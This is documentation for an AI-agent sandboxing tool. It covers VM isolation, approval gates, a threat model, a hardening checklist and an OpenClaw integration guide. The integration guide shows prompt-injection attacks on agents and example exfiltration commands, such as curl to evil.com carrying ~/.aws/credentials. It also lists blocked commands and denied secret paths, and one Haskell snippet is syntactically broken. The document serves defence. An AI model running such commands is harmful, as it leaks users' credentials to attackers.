  • Not supported: Intel Macs, older Apple Silicon, cloud VMs without nested virt

Local Driver (Level 1) - Development Only

Security boundaries:

  • Process-level isolation only
  • Shared host kernel
  • Full network access (no isolation)
  • Uninhabitable state guard still enforces approval requirements

What’s enforced:

  • Command lattice (blocked commands like gh auth)
  • Approval obligations (uninhabitable state constraint)
  • Budget limits
  • Path restrictions (via cap-std)

What’s NOT enforced:

  • Network egress (dns_allow ignored)
  • VM-level isolation
  • Kernel separation

Use cases:

  • Local development and testing
  • Trusted first-party code
  • Validating policy logic without VM overhead
# Explicitly opt-in to local driver (unsafe for untrusted code)
nucleus-node --driver local --allow-local-driver

Lima VM as Development Environment

For macOS users without firecracker support (Intel Macs, M1/M2), Lima provides a development-grade sandbox:

Lima Security Properties

PropertyLima VMFirecracker
Kernel isolationYes (separate Linux)Yes (per-pod)
Per-pod isolationNo (shared VM)Yes
Network controlVM-level onlyPer-pod iptables
Boot time~2-20s~125ms
Escape difficultyVM escape (high)VM escape (high)

Lima Architecture

┌─────────────────────────────────────────────────────────────┐
│  macOS Host                                                  │
│  ┌────────────────────────────────────────────────────────┐ │
│  │  Lima VM (QEMU/vz)                                     │ │
│  │  ┌──────────────────────────────────────────────────┐  │ │
│  │  │  nucleus-node (local driver)                     │  │ │
│  │  │    ↓                                             │  │ │
│  │  │  nucleus-tool-proxy (per-pod process)            │  │ │
│  │  │    - Policy enforcement                          │  │ │
│  │  │    - Command lattice                             │  │ │
│  │  │    -  Uninhabitable state guard                              │  │ │
│  │  └──────────────────────────────────────────────────┘  │ │
│  │  /workspace (mounted from host)                        │ │
│  └────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘

Lima Configuration

# ~/.lima/nucleus/lima.yaml
mounts:
  - location: "/path/to/workspace"
    mountPoint: "/workspace"
    writable: true

provision:
  - mode: system
    script: |
      # Install musl toolchain for static binaries
      apt-get install -y musl-tools musl-dev
      # ... (Rust setup)

Lima Limitations

  • No per-pod network isolation: All pods share VM’s network
  • No dns_allow enforcement: Network policy requires firecracker
  • Shared kernel attack surface: All pods share Lima’s kernel
  • Not suitable for untrusted code in production

NVIDIA’s Mandatory Security Controls

Based on NVIDIA’s guidance for agentic sandboxing:

1. Network Egress Controls (Firecracker only)

spec:
  network:
    dns_allow:
      - "api.github.com"
      - "github.com"
    # All other egress blocked by default

2. Workspace Write Restrictions

Nucleus enforces via:

  • Read-only rootfs
  • Scratch-only write paths
  • cap-std path sandboxing

3. Configuration File Protection

Command lattice blocks:

  • gh auth *, gh config * (credential manipulation)
  • Writes to .git/hooks, .claude/, etc.

Uninhabitable state Guard

Regardless of driver, nucleus enforces the uninhabitable state constraint:

When all three capabilities are present at autonomous levels:

  1. Private data access (read_files)
  2. Untrusted content exposure (web_fetch)
  3. External communication (git_push, api_call)

Exfiltration operations gain approval obligations - requiring human confirmation before execution.

# Even with "permissive" profile:
$ gh pr create
{"error": "approval required", "operation": "gh pr create"}

This is defense-in-depth: even if network/VM isolation fails, the agent cannot autonomously exfiltrate data.

Platform Recommendations

PlatformRecommended DriverNotes
Linux + KVMfirecrackerFull production support
M3/M4 Mac + macOS 15+firecracker (via Lima)Native KVM in nested VM
M1/M2 Maclocal (in Lima)No KVM, use Lima for kernel isolation
Intel Maclocal (in Lima)No KVM, Lima provides VM boundary
Cloud VM (no nested virt)local or gvisor (planned)Consider PVM if available

Defense-in-Depth Layers

Layer 5: Approval obligations (uninhabitable state guard)
Layer 4: Command lattice (blocked commands)
Layer 3: Path sandboxing (cap-std)
Layer 2: Network isolation (iptables/dns_allow) [firecracker only]
Layer 1: VM isolation (KVM/QEMU)
Layer 0: Host kernel

Even when lower layers are unavailable (e.g., local driver), higher layers still provide meaningful security:

  • Command blocking prevents gh auth login
  • Path sandboxing prevents writes outside workspace
  • Uninhabitable state guard requires approval for exfiltration

References

Threat Model (25k plan)

Assets

  • Host filesystem and secrets.
  • Pod data (inputs, outputs, logs).
  • Approval decisions and audit trail.
  • Policy grants and enforcement state.

Trust Assumptions

  • Firecracker provides VM isolation from the host kernel.
  • Host kernel is not compromised.
  • Cryptographic primitives are implemented correctly.
  • Local driver is for trusted workloads only.

Adversaries

  • Malicious prompt injection within agent inputs.
  • Untrusted tool output or external content.
  • Compromised adapter or malformed requests.
  • Accidental operator misconfiguration.

Threats by Boundary

Agent -> Control Plane

  • Replay of tool requests.
  • Forged approvals.
  • Tool call parameter tampering.

Mitigations

  • Signed requests required, nonce/timestamp with max skew.
  • Signed approval requests require nonce + expiry; preflight bundles are roadmap.

Control Plane -> VM

  • VM proxy spoofing.
  • Traffic interception.

Mitigations

  • Vsock-only transport.
  • VM-unique secret provisioned at boot (auth secret baked into rootfs).

VM -> Host

  • Escapes via shared filesystem.
  • Excessive resource usage.

Mitigations

  • Read-only rootfs, scratch-only write.
  • Cgroup CPU/memory limits.
  • Seccomp on VMM.
  • Host netns iptables enforce default deny when --firecracker-netns=true (even without spec.network).
  • Netns iptables are snapshotted and monitored; drift fails closed by terminating the pod.
  • Node provisions per-pod netns + tap to avoid shared host interfaces.
  • Requires br_netfilter so bridge traffic hits iptables.

Host Signed Proxy

  • Threat: host-local callers bypass auth by calling the vsock bridge directly.
  • Mitigation: only expose the signed proxy address to adapters.

Non-goals

  • Side-channel resistance.
  • Host kernel compromise.
  • Zero-knowledge verification.

Acceptance Tests (25k plan)

Enforcement (current)

  • Any filesystem access outside sandbox root is denied (cap-std sandbox).
  • Any command not in allowlist (or structured rules) is denied.
  • Approval-gated operation fails without a recorded approval.
  • Approval grants expire (default TTL, enforced when auth is enabled).
  • Approval requests are gated by a separate approval secret and nonce.
  • Budget exhaustion blocks further side effects.
  • Time window expiry blocks execution.

Uninhabitable state (current)

  • When private data + untrusted content + exfil path are all enabled, approvals are required for exfil operations.

Network (current)

  • Host netns iptables enforces default-deny egress for Firecracker pods when --firecracker-netns=true (even without spec.network).
  • Host monitors iptables drift and fails closed by terminating pods on deviation.
  • Allowlisted egress only for IP/CIDR with optional port (no hostnames).
  • Guest init configures eth0 from kernel args (nucleus.net=...) when a network policy is present.
  • Node provisions tap + bridge inside the pod netns only when spec.network is set (guest NIC is otherwise absent).
  • Integration: scripts/firecracker/test-network.sh boots a VM and verifies cmdline + iptables rules.
  • Optional connectivity test uses nucleus-net-probe via the tool proxy (CHECK_CONNECTIVITY=1).

Audit (current)

  • Every tool call produces a signed audit log record (verifiable).
  • Audit entries are hash-chained; tampering breaks the chain.
  • Approval events are logged with operation name and count.
  • Guest init emits a boot report entry on startup.

VM Isolation (current)

  • Rootfs is read-only when configured in the image/spec.
  • Scratch is mounted when configured.
  • Proxy starts via init with no extra services.

Roadmap Tests

  • Approval tokens must be signed, bounded to op + expiry + nonce.
  • Audits must include cryptographic signatures and issuer identity.
  • Network egress should be enforced via cgroup/eBPF filters (beyond iptables).

Formal Methods Plan

Goal: move from model checking to machine-checked proofs for the core lattice and nucleus (ν) properties, while keeping the spec small and auditable.

Scope (initial)

  • Permission lattice order and join/meet.
  • Nucleus ν (normalization) laws:
    • Idempotent: ν(ν(x)) = ν(x)
    • Monotone: x ≤ y ⇒ ν(x) ≤ ν(y)
    • Deflationary: ν(x) ≤ x
  • Uninhabitable state obligations as a derived constraint.

Plan

  1. Lean 4 spec of the lattice structure and ν (small, pure model).
  2. Proofs of ν laws + meet/join compatibility (minimal theorem set).
  3. Traceability: map each Rust field to the spec with a short “spec ↔ code” reference table.
  4. CI gate for proof check (separate job; fails on proof regressions).

What Kani Covers (and doesn’t)

  • Kani is used for bounded model checking on Rust implementations.
  • Kani runs as a nightly CI job; merge gating is planned once proofs stabilize.
  • Kani does not replace theorem proving; it complements the proof layer.

Non-goals (initial)

  • Full refinement proofs from Rust to Lean.
  • End-to-end OS isolation proofs.

Hardening Checklist (Demo Readiness)

This checklist defines pass/fail criteria for calling the demo “fully hardened,” including the goal of a static envelope around a dynamic agent. Each item includes a current status and evidence pointer.

Status key: DONE, PARTIAL, TODO.

1) Enforcement Path (Policy -> Physics)

  • All side effects go through nucleus-tool-proxy
    • Pass: CLI/tool adapters can only execute file/command/network ops via the proxy API.
    • Current: DONE (CLI uses node + MCP; no unsafe direct mode).
    • Evidence: crates/nucleus-cli/src/run.rs
  • CLI hard-fail if not enforced
    • Pass: No unsafe flags; enforced mode is the default path.
    • Current: DONE (unsafe flag removed).
    • Evidence: crates/nucleus-cli/src/run.rs
  • Node API requires signed requests
    • Pass: nucleus-node rejects unsigned HTTP/gRPC calls.
    • Current: DONE (auth secret required).
    • Evidence: crates/nucleus-node/src/main.rs, crates/nucleus-node/src/auth.rs

2) Network Egress Control

  • Default-deny enforced for Firecracker pods
    • Pass: netns iptables default DROP even without spec.network.
    • Current: DONE.
    • Evidence: crates/nucleus-node/src/main.rs, crates/nucleus-node/src/net.rs
  • IPv6 is denied or disabled
    • Pass: ip6tables mirrors default-deny OR guest IPv6 is disabled.
    • Current: DONE (guest IPv6 disabled at boot).
    • Evidence: crates/nucleus-node/src/main.rs
  • DNS allowlisting
    • Pass: explicit hostname allowlist enforced (ipset/dnsmasq or equivalent).
    • Current: DONE (dnsmasq proxy with pinned hostname resolution).
    • Evidence: crates/nucleus-node/src/net.rs, crates/nucleus-spec/src/lib.rs

3) Approvals (AskFirst)

  • Approvals are cryptographically signed
    • Pass: approvals require signed tokens with nonce + expiry, verified in proxy.
    • Current: DONE (approval secret required; nonce + expiry enforced).
    • Evidence: crates/nucleus-tool-proxy/src/main.rs
  • Approval replay protection
    • Pass: nonce cache + expiry enforced for all approvals.
    • Current: DONE (nonce required for approvals).
    • Evidence: crates/nucleus-tool-proxy/src/main.rs

4) Isolation (VM Boundary)

  • Rootfs is read-only
    • Pass: image configured read-only; scratch is explicit and limited.
    • Current: DONE (when image spec requests it).
    • Evidence: scripts/firecracker/build-rootfs.sh, crates/nucleus-node/src/main.rs
  • Guest has no extra services
    • Pass: init runs tool-proxy only.
    • Current: DONE.
    • Evidence: crates/nucleus-guest-init/src/main.rs
  • Seccomp enforced
    • Pass: seccomp profile configured and verified post-spawn.
    • Current: DONE (config applied via apply_seccomp_flags; post-spawn /proc/{pid}/status verification checks mode=2).
    • Evidence: crates/nucleus-node/src/main.rs (verify_seccomp_active, apply_seccomp_flags), crates/nucleus-spec/src/lib.rs (SeccompSpec)

4.5) Monotone Security Posture (Immutability)

  • No privilege relaxation after creation
    • Pass: permission state can only tighten or the pod is terminated.
    • Current: DONE (Verus-proven E1-E3 enforcement boundary + runtime debug_assert).
    • Evidence: crates/portcullis-verified/src/lib.rs (E1: exposure monotonicity, E2: trace monotonicity, E3: denial monotonicity), crates/portcullis/src/guard.rs (debug_assert in execute_and_record)
  • Network policy drift detection
    • Pass: host checks iptables drift and fails closed on deviation.
    • Current: DONE.
    • Evidence: crates/nucleus-node/src/net.rs, crates/nucleus-node/src/main.rs
  • Seccomp immutability documented
    • Pass: docs explicitly state seccomp is fixed at Firecracker spawn.
    • Current: DONE.
    • Evidence: docs/architecture/overview.md, README.md

5) Audit + Integrity

  • Audit log signatures
    • Pass: log entries are signed; verification tool exists.
    • Current: DONE (signatures enforced; verifier available).
    • Evidence: crates/nucleus-tool-proxy/src/main.rs, crates/nucleus-audit/src/main.rs
  • Remote append-only storage
    • Pass: logs shipped to append-only store (or immutability proof).
    • Current: DONE (S3AuditBackend with if_none_match("*") append-only semantics; behind remote-audit feature flag).
    • Evidence: crates/portcullis/src/s3_audit_backend.rs, crates/nucleus-spec/src/lib.rs (AuditSinkSpec)

6) Formal Assurance Gates

  • ν laws proven in CI
    • Pass: Verus/Kani proof jobs run in CI and block merges on failure.
    • Current: DONE (297 Verus proofs + 14 Kani harnesses; both are required merge checks on main).
    • Evidence: .github/workflows/verus.yml, .github/workflows/kani-nightly.yml, crates/portcullis-verified/src/lib.rs, crates/portcullis/src/kani.rs
  • Fuzzing in CI
    • Pass: cargo-fuzz targets run with time budget; known bypasses blocked.
    • Current: DONE (3 fuzz targets × 30s; Fuzz is a required merge check on main).
    • Evidence: fuzz/, .github/workflows/ci.yml

6.5) Web Ingress Control

  • MIME type gating on web_fetch
    • Pass: only text and structured data MIME types are allowed; binary formats blocked.
    • Current: DONE (allowlist: text/*, application/json, application/xml, etc.).
    • Evidence: crates/nucleus-tool-proxy/src/main.rs (web_fetch handler)
  • Exposure provenance on fetched content
    • Pass: all web-fetched content is tagged with X-Nucleus-Exposure: UntrustedContent + source domain.
    • Current: DONE.
    • Evidence: crates/nucleus-tool-proxy/src/main.rs (response headers)
  • URL pattern allowlisting
    • Pass: per-pod URL pattern allowlist via NetworkSpec.url_allow.
    • Current: DONE (glob-style matching; empty = allow all permitted domains).
    • Evidence: crates/nucleus-spec/src/lib.rs (NetworkSpec), crates/nucleus-tool-proxy/src/main.rs

7) Demo Verification Script

  • Network policy test
    • Pass: scripts/firecracker/test-network.sh passes with allow/deny.
    • Current: DONE (manual).
    • Evidence: scripts/firecracker/test-network.sh

Exit Criteria (Full Hardened Demo)

All items above at DONE, and:

  • Enforced CLI path is the default.
  • IPv6 + DNS allowlisting are covered.
  • Signed approvals + audit verification are implemented.
  • CI gates (Kani + fuzz + integration tests) are in place.

Nucleus Use Cases

Nucleus provides hardware-isolated sandboxing for AI agents. While the architecture is general-purpose, certain use cases benefit most from defense-in-depth isolation.

Why Now

January 2026 brought AI agent security into sharp focus:

  • Moltbook breach (Jan 31): Unsecured database allowed hijacking of 770K+ AI agents
  • Palo Alto “Uninhabitable State” research: Identified the dangerous combination of private data access + untrusted content + external communication
  • OpenClaw adoption: 100K+ GitHub stars, running in enterprise environments with root filesystem access

The industry is deploying agents faster than security practices can evolve. Nucleus provides a hardened execution layer that doesn’t require perfect configuration—isolation is architectural, not optional.

Use Cases

Use CaseRisk ProfileNucleus Benefit
OpenClaw HardeningCritical - full system accessBreak the uninhabitable state
Claude Code SandboxHigh - code executionIsolated tool execution
MCP Server IsolationMedium - tool callsPer-tool sandboxing
Enterprise AI AgentsVariable - complianceAudit trails, NIST compliance

Quick Comparison

┌─────────────────────────────────────────────────────────────────┐
│                     Without Nucleus                              │
├─────────────────────────────────────────────────────────────────┤
│  AI Agent ──► Tools ──► Host Filesystem ──► Network ──► World   │
│     │                        │                                   │
│     └── Credentials, API keys, browser sessions all accessible  │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                      With Nucleus                                │
├─────────────────────────────────────────────────────────────────┤
│  AI Agent (host) ──► nucleus-node ──► Firecracker VM            │
│       │                                    │                     │
│       │  API keys stay here          Only /workspace visible     │
│       │                              Network egress filtered     │
│       │                              No shell escape possible    │
│       │                                    │                     │
│       └────────── Signed results ◄─────────┘                    │
└─────────────────────────────────────────────────────────────────┘

Getting Started

# Install
cargo install nucleus-node
cargo install nucleus-cli

# Setup (macOS with Lima VM, or native Linux)
nucleus setup

# Verify
nucleus doctor

See individual use case docs for integration guides.

Hardening OpenClaw with Nucleus

“There is no ‘perfectly secure’ setup.”OpenClaw Security Documentation

We disagree. Security should be architectural, not aspirational.

Status Update: February 2026

OpenAI acquired OpenClaw on February 14, 2026. The project’s future licensing and API stability are uncertain. Nucleus’s value proposition is framework-agnostic isolation — it works with OpenClaw, but also with any agent framework that executes tools (Claude Code, Cursor, Windsurf, custom agents, etc.). If OpenClaw becomes closed-source or OpenAI-proprietary, nucleus remains unaffected.

The Problem: January 2026

OpenClaw (formerly Moltbot/Clawdbot) has become one of the fastest-growing open source projects in history—100K+ GitHub stars in two months. It’s deployed in enterprise environments, managing calendars, sending messages, and automating workflows.

It also requires:

  • Root filesystem access
  • Stored credentials and API keys
  • Browser sessions with authenticated cookies
  • Unrestricted network access

On January 31, 2026, the Moltbook social network for AI agents suffered a critical breach. An unsecured database allowed anyone to hijack any of the 770,000+ agents on the platform, injecting commands directly into their sessions.

This wasn’t a sophisticated attack. It was a configuration oversight in a system designed to be “configured correctly by the operator.”

The Uninhabitable State

Palo Alto Networks identified why OpenClaw’s architecture is fundamentally dangerous:

ElementWhy It’s DangerousOpenClaw Default
Private data accessAgent can read credentials, keys, PIIFull filesystem access
Untrusted contentPrompt injection via web, attachmentsProcessed on host
External communicationExfiltration channelUnrestricted outbound

When all three combine, a single prompt injection can exfiltrate your SSH keys, API tokens, or browser sessions to an attacker-controlled server.

The Fourth Risk: Persistent Memory

OpenClaw’s memory system compounds the danger. Malicious payloads don’t need immediate execution—fragments can accumulate across sessions and combine later. By the time the attack triggers, the injection point is buried in conversation history.

How Nucleus Breaks the Uninhabitable state

Nucleus interposes a Firecracker microVM between the AI agent and tool execution:

┌─────────────────────────────────────────────────────────────────┐
│  OpenClaw Gateway (Host)                                        │
│  ├── Claude/GPT API credentials    ← Never enter sandbox        │
│  ├── User's browser sessions       ← Never enter sandbox        │
│  └── ~/.openclaw/credentials/      ← Never enter sandbox        │
│                                                                  │
│  Tool Request: "read file /etc/passwd"                          │
│         │                                                        │
│         ▼                                                        │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │  nucleus-node                                                ││
│  │  ├── HMAC-SHA256 signature verification                     ││
│  │  ├── Lattice-guard permission check                         ││
│  │  └── Approval token validation                              ││
│  └─────────────────────────────────────────────────────────────┘│
│         │                                                        │
│         ▼                                                        │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │  Firecracker microVM (isolated)                             ││
│  │  ├── Sees only /workspace (mapped directory)                ││
│  │  ├── No access to host filesystem                           ││
│  │  ├── Network namespace: egress allowlist only               ││
│  │  └── Read-only rootfs, ephemeral scratch                    ││
│  └─────────────────────────────────────────────────────────────┘│
│         │                                                        │
│         ▼                                                        │
│  Result: "Permission denied" or sandboxed file contents          │
└─────────────────────────────────────────────────────────────────┘

Uninhabitable state Mitigation

Uninhabitable state ElementNucleus Mitigation
Private data accessVM sees only /workspace, not host filesystem
Untrusted contentProcessed inside VM, cannot escape to host
External communicationNetwork namespace with egress allowlist
Persistent memoryLattice-guard detects uninhabitable state combinations

Integration Guide

Prerequisites

  • Linux host with KVM, or macOS with Lima VM (M3+ for nested virt)
  • OpenClaw gateway running

Step 1: Install Nucleus

# From source
git clone https://github.com/coproduct-opensource/nucleus
cd nucleus
cargo install --path crates/nucleus-node
cargo install --path crates/nucleus-cli

# Setup (generates secrets, configures VM)
nucleus setup
nucleus doctor  # Verify installation

Step 2: Configure OpenClaw Exec Backend

In your OpenClaw configuration (~/.openclaw/config.yaml):

exec:
  backend: nucleus
  nucleus:
    endpoint: "http://127.0.0.1:8080"
    workspace: "/path/to/safe/workspace"
    timeout_seconds: 300

    # Permission profile (see nucleus docs)
    profile: "openclaw-restricted"

Step 3: Define Permission Profile

Create ~/.config/nucleus/profiles/openclaw-restricted.toml:

[filesystem]
# Only allow access to workspace
allowed_paths = ["/workspace"]
denied_paths = ["**/.env", "**/*.pem", "**/*secret*"]

[network]
# Allowlist for OpenClaw's typical integrations
allowed_hosts = [
  "api.openai.com",
  "api.anthropic.com",
  "api.github.com",
  "*.googleapis.com",
]
denied_hosts = ["*"]  # Deny by default

[capabilities]
# No shell execution, no privilege escalation
allow_shell = false
allow_sudo = false
allow_network_bind = false

Step 4: Start Services

# Terminal 1: Start nucleus-node
nucleus-node --config ~/.config/nucleus/config.toml

# Terminal 2: Start OpenClaw gateway (will use nucleus backend)
openclaw gateway start

Step 5: Verify Isolation

Test that the sandbox is working:

# This should fail - /etc/passwd is outside workspace
openclaw exec "cat /etc/passwd"
# Expected: Permission denied

# This should work - workspace access allowed
openclaw exec "ls /workspace"
# Expected: Directory listing

# This should fail - network not in allowlist
openclaw exec "curl http://evil.com/exfil"
# Expected: Network error or timeout

Security Guarantees

GuaranteeMechanism
Filesystem isolationFirecracker VM with mapped /workspace only
Network isolationLinux network namespace, iptables egress rules
Request authenticityHMAC-SHA256 signing of all requests
Approval auditCryptographically chained audit log
Secret protectionCredentials in macOS Keychain, never in VM
** Uninhabitable state detection**Lattice-guard alerts on dangerous combinations

What Nucleus Does NOT Protect Against

Be aware of limitations:

  • Prompt injection itself — Nucleus sandboxes execution, not the LLM
  • Data in workspace — Files explicitly shared are accessible
  • Approved network targets — Allowlisted hosts can still receive exfiltrated data
  • Side-channel attacks — Timing, power analysis not mitigated
  • Malicious workspace files — If you put secrets in workspace, they’re exposed

Nucleus is defense-in-depth, not a silver bullet. It dramatically reduces blast radius but cannot make an unsafe agent safe.

Comparison: Before and After

Before: OpenClaw Default

Attack: Prompt injection via web search result
  → Agent executes: curl http://evil.com/x?key=$(cat ~/.aws/credentials)
  → Result: AWS credentials exfiltrated

Attack: Malicious attachment
  → Agent executes: python malware.py
  → Result: Ransomware on host system

After: With Nucleus

Attack: Prompt injection via web search result
  → Agent requests: curl http://evil.com/x?key=$(cat ~/.aws/credentials)
  → nucleus-node: Network destination not in allowlist
  → nucleus-node: ~/.aws/credentials not in allowed paths
  → Result: Request denied, logged, alert raised

Attack: Malicious attachment
  → Agent requests: python malware.py
  → nucleus-node: Executes in isolated VM
  → VM: No access to host filesystem
  → VM: No network egress to C2 server
  → Result: Malware contained, host unaffected

Framework-Agnostic Integration

While this guide focuses on OpenClaw, nucleus provides the same isolation guarantees for any agent framework that executes tools on a host system:

FrameworkIntegration MethodStatus
OpenClawTypeScript plugin (openclaw-nucleus-plugin)Production
Custom Rust agentsnucleus-sdk crate (Nucleus::intent() API)Production
Any HTTP agentREST API to nucleus-nodeProduction
MCP-compatible agentsMCP tool server (planned)Roadmap

The core principle is the same regardless of framework: tool execution happens inside an isolated Firecracker microVM, and the permission lattice governs what’s allowed.

Further Reading

Enterprise AI Agents

Compliance-ready AI agent execution with audit trails and NIST-aligned security.

Enterprise Requirements

RequirementChallengeNucleus Solution
Audit trailsProve what agent did and whenCryptographic hash-chained logs
Data isolationPII/PHI can’t leak to LLM providersExecution in air-gapped VM
Least privilegeAgents shouldn’t have admin accessCapability-based permissions
Secret managementAPI keys must be rotated, protectedKeychain integration, 90-day rotation
Incident responseForensic analysis after breachVerifiable audit logs

Compliance Alignment

SOC 2

ControlNucleus Feature
CC6.1 - Logical accessLattice-guard permission boundaries
CC6.6 - System boundariesFirecracker VM isolation
CC7.2 - Security eventsnucleus-audit logging

HIPAA

SafeguardNucleus Feature
Access controlsPer-agent permission profiles
Audit controlsCryptographic log verification
Integrity controlsRead-only rootfs, signed requests
Transmission securityHMAC-SHA256 request signing

NIST SP 800-57 (Key Management)

RequirementImplementation
Key generation32-byte cryptographically random secrets
Key storagemacOS Keychain (hardware-backed on Apple Silicon)
Key rotation90-day tracking with warnings
Key destructionSecure deletion via Keychain API

Architecture: Enterprise Deployment

┌─────────────────────────────────────────────────────────────────┐
│  Enterprise Network                                              │
│                                                                  │
│  ┌──────────────┐     ┌──────────────┐     ┌──────────────┐    │
│  │   AI Agent   │────▶│ nucleus-node │────▶│  Firecracker │    │
│  │  (internal)  │     │   cluster    │     │   VM pool    │    │
│  └──────────────┘     └──────────────┘     └──────────────┘    │
│         │                    │                    │             │
│         │                    ▼                    │             │
│         │             ┌──────────────┐            │             │
│         │             │ nucleus-audit│            │             │
│         │             │    (SIEM)    │            │             │
│         │             └──────────────┘            │             │
│         │                    │                    │             │
│         ▼                    ▼                    ▼             │
│  ┌─────────────────────────────────────────────────────────────┐│
│  │                     Audit Log Store                         ││
│  │  • Immutable append-only                                    ││
│  │  • SHA-256 hash chain                                       ││
│  │  • 7-year retention                                         ││
│  └─────────────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────────────┘

Audit Log Format

{
  "timestamp": "2026-01-31T14:23:45.123Z",
  "sequence": 1847,
  "previous_hash": "a3f2b1c4...",
  "event": {
    "type": "tool_execution",
    "agent_id": "agent-prod-047",
    "tool": "file_read",
    "target": "/workspace/report.csv",
    "result": "success",
    "bytes_returned": 4523
  },
  "signature": "hmac-sha256:e7d4a2f1..."
}

Verify log integrity:

nucleus-audit verify /var/log/nucleus/audit.log
# ✓ 1847 entries verified
# ✓ Hash chain intact
# ✓ No gaps detected

Deployment Options

On-Premises

# Kubernetes deployment
helm install nucleus nucleus/nucleus-node \
  --set replicas=3 \
  --set audit.storage=s3://company-audit-logs \
  --set secrets.backend=vault

Cloud (AWS/GCP/Azure)

Nucleus runs on any Linux VM with KVM support:

  • AWS: metal instances or Nitro-based (.metal suffix)
  • GCP: N2 with nested virtualization enabled
  • Azure: DCsv2/DCsv3 with nested virtualization

Getting Started

  1. Security review: Share architecture docs with InfoSec
  2. Pilot deployment: Single agent, non-production data
  3. Audit integration: Connect nucleus-audit to SIEM
  4. Production rollout: Gradual migration with monitoring

Contact: security@coproduct.dev for enterprise support.

We Audited Our Own Agent Platform

Terminology

This document captures brief, working definitions for terms used in the codebase and roadmap.

Firecracker

Firecracker is an open-source microVM monitor (AWS) focused on minimal device emulation, fast startup, and small memory footprint, exposing a REST control API and vsock/virtio devices for guest I/O. Source: https://firecracker-microvm.github.io/ Releases: https://github.com/firecracker-microvm/firecracker/releases

KVM (Kernel-based Virtual Machine)

KVM is a full virtualization solution in the Linux kernel that relies on hardware virtualization extensions (Intel VT or AMD-V) and provides kernel modules (kvm.ko plus CPU-specific modules) for running unmodified guest OSes. Source: https://linux-kvm.org/page/Main_Page

seccomp (Seccomp BPF)

Linux seccomp allows a process to filter its own system calls using BPF programs, reducing exposed kernel attack surface; it is a building block, not a full sandbox. Source: https://docs.kernel.org/userspace-api/seccomp_filter.html

cgroups (Control Groups, v2)

cgroup v2 provides a unified, hierarchical resource control interface (CPU, memory, I/O, etc.) with consistent controller semantics across the system. Source: https://docs.kernel.org/admin-guide/cgroup-v2.html

vsock (AF_VSOCK)

The VSOCK address family provides host<->guest communication that is independent of the VM’s network configuration, commonly used by guest agents and hypervisor services. Source: https://man7.org/linux/man-pages/man7/vsock.7.html

cap-std

cap-std provides a capability-based version of the Rust standard library, where access to filesystem/network/time resources is represented by values (capabilities) rather than ambient global access. Source: https://docs.rs/crate/cap-std/latest

Kani

Kani is a bit-precise model checker for Rust that can verify safety and correctness properties by exploring possible inputs and checking assertions/overflows/panics. Source: https://github.com/model-checking/kani

Temporal

Temporal is a scalable, reliable workflow runtime for durable execution of application code, enabling workflows that recover from failures without losing state. Source: https://docs.temporal.io/temporal

Model Context Protocol (MCP)

MCP is a JSON-RPC based protocol for exposing tools and context to AI applications via standardized client/server roles and capability negotiation. Source: https://modelcontextprotocol.io/specification/2025-11-25/basic

Temporal workflow sketch for nucleus pods

Goal: use Temporal to sequence agent steps (LangGraph-like) while Firecracker pods provide isolation.

Workflow outline

  • Create pod (activity: call nucleus-node /v1/pods or gRPC CreatePod).
  • Wait for pod ready (activity: poll /v1/pods or check proxy announce).
  • Run step(s) (activity: call tool-proxy /v1/run, /v1/read, /v1/write).
  • Approval gating (signal: ApprovalGranted -> activity: call /v1/approve).
  • Collect logs (activity: node /v1/pods/:id/logs).
  • Tear down (activity: cancel pod).

Example pseudo-flow

workflow AgentFlow(input) {
  pod = activity CreatePod(input.spec)
  activity WaitReady(pod)

  for step in input.graph:
    if step.requiresApproval:
      await signal ApprovalGranted
      activity Approve(pod.proxy, step.operation)

    result = activity RunTool(pod.proxy, step.toolCall)
    activity RecordResult(result)

  logs = activity FetchLogs(pod.id)
  activity CancelPod(pod.id)

  return { result, logs }
}
  • Each activity has a short timeout + retry policy.
  • Workflow uses idempotent activities (CreatePod returns existing pod if retried).
  • Signals are authenticated (signature/HMAC) to prevent fake approvals.
  • Use a per-pod workflow ID (pod UUID) for traceability.

Minimal integration points

  • Activity stubs for CreatePod, WaitReady, RunTool, Approve, FetchLogs, CancelPod.
  • HTTP client that signs requests (HMAC headers) to node/proxy.
  • Workflow state stores pod ID + proxy address.

Signer helpers

  • Rust: crates/nucleus-client provides sign_http_headers / sign_grpc_headers.
  • TypeScript: examples/sign_request.ts contains a minimal signer.

Theoretical Foundations

Nucleus is built on ideas from type theory, category theory, and programming language semantics. This document explains the “why” behind the design.

The Core Question

How do you give an AI agent enough capability to be useful while preventing it from exfiltrating your secrets?

This is not a data transformation problem (pipelines). It’s a capability tracking problem. The permission state isn’t data flowing through—it’s a constraint on what effects can even occur.


Graded Monads for Permission Tracking

The permission lattice is best understood as a graded monad (also called indexed or parameterized monad).

-- The grade 'p' is the permission lattice
newtype Sandbox p a = Sandbox (Policy p -> IO a)

-- Operations require specific capabilities
readFile  :: HasCap p ReadFiles  => Path -> Sandbox p String
webFetch  :: HasCap p WebFetch   => URL  -> Sandbox p Response
gitPush   :: HasCap p GitPush    => Ref  -> Sandbox p ()

-- Sequencing composes permissions via lattice MEET
(>>=) :: Sandbox p a -> (a -> Sandbox q b) -> Sandbox (p ∧ q) b

When you sequence operations, their permission requirements compose via the lattice meet operation. The resulting type carries the combined constraints.

Why Meet, Not Join?

Meet (∧) gives the greatest lower bound—the most restrictive combination. This ensures:

  1. Monotonicity: Delegated permissions can only tighten, never relax
  2. Least privilege: Combined operations get the intersection of capabilities
  3. Compositionality: Order of composition doesn’t matter (meet is commutative)

The Uninhabitable state as a Type-Level Constraint

The “uninhabitable state” (private data + untrusted content + exfiltration) is not a runtime check bolted on. It’s a type-level invariant.

-- When all three legs are present, the type changes
type family uninhabitable stateGuard p where
  uninhabitable stateGuard p = If (Has Uninhabitable state p)
                       (RequiresApproval p)
                       p

-- Operations that can exfiltrate check this at the type level
gitPush :: uninhabitable stateGuard p ~ p => Ref -> Sandbox p ()

In Rust, we approximate this with runtime normalization (the ν function), but the intent is the same: certain capability combinations change the type of operations from “autonomous” to “requires approval.”


Free Monads for the Three-Player Game

The Strategist/Reconciler/Validator pattern maps to the free monad pattern: separate the description of a computation from its interpretation.

-- The functor describing sandbox operations
data SandboxF next
  = ReadFile Path (String -> next)
  | WriteFile Path String next
  | RunBash Command (Output -> next)
  | WebFetch URL (Response -> next)
  | GitPush Ref next

